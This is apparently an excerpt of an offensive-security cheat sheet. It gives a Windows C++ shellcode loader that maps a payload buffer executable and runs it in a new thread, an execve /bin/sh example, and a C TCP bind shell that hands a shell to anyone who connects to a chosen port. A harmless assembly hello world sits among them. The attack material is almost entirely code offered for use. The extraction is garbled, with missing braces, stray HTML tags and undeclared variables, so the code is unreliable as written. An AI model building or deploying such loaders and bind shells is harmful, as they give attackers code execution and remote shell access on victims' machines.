## **Example of C++ Shellcode Loader**

```
#include <windows.h>
void main() {
    void* exec;

    unsigned char payload[] = "";
    unsigned int payload_len = 205;

    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);

    RtlMoveMemory(exec, payload, payload_len);

    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ,
&oldprotect);

    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);

    WaitForSingleObject(th, -1);
}
```

## **Hello World in Assembly**

```
section .text
global _start ; must be declared for linker (ld)
          ; tells linker entry point
start:
       mov edx, len ; message length mov ecx, msg ; message to wri
                        ; message to write
       mov ebx, 1
                        ; file descriptor (stdout)
       mov eax, 4
                        ; system call number (sys_write)
       int 0x80
                        ; call kernel
       mov eax, 1
                        ; system call number (sys_exit)
       int 0x80
                       ; call kernel
section .data
       msg db 'Hello, world!', 0xa ;string to be printed
       len equ $ - msg ; length of the string
```

## execve Shellcode

```
/**
Compile with:
gcc -o execve_usage execve_usage.c
**/
#include <stdio.h>

int main()
{
          char *args[2];
          args[0] = "/bin/sh";
          args[1] = NULL;
          execve("/bin/sh", args, NULL);
          return 0;
}
```

## **Example BindShell in C**

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define SHELL "/bin/sh" // shell to spawn when connection is received
int main(int argc, char *argv[])
```

```
char msg[512];
  int srv_sockfd, new_sockfd;
  socklen_t new_addrlen;
  struct sockaddr_in srv_addr, new_addr;
  if(argc != 2)
    printf("\nusage: ./tcpbind <listen port>\n");
    return -1;
  if(fork() == 0)
    if((srv_sockfd = socket(PF_INET, SOCK_STREAM, 0)) < 0)</pre>
      perror("[error] socket() failed!");
      return -1;
    srv_addr.sin_family = PF_INET;
    srv_addr.sin_port = htons(atoi(argv[1]));
    srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    if(bind(srv_sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) < 0)</pre>
      perror("[error] bind() failed!");
      return -1;
    if(listen(srv_sockfd, 1) < 0)</pre>
      perror("[error] listen() failed!");
      return -1;
    for(;;)
      new_addrlen = sizeof(new_addr);
      new_sockfd = accept(srv_sockfd, (struct sockaddr *)&new_addr,
&new_addrlen);
      if(new_sockfd < 0)</pre>
        perror("[error] accept() failed!");
        return -1;
      if(fork() == 0)
```

```
{
    close(srv_sockfd);
    write(new_sockfd, msg, strlen(msg));

    dup2(new_sockfd, 2);
    dup2(new_sockfd, 1);
    dup2(new_sockfd, 0);

    execve(SHELL, NULL, NULL);
    return 0;
}
else
    close(new_sockfd);
}

return 0;
}
```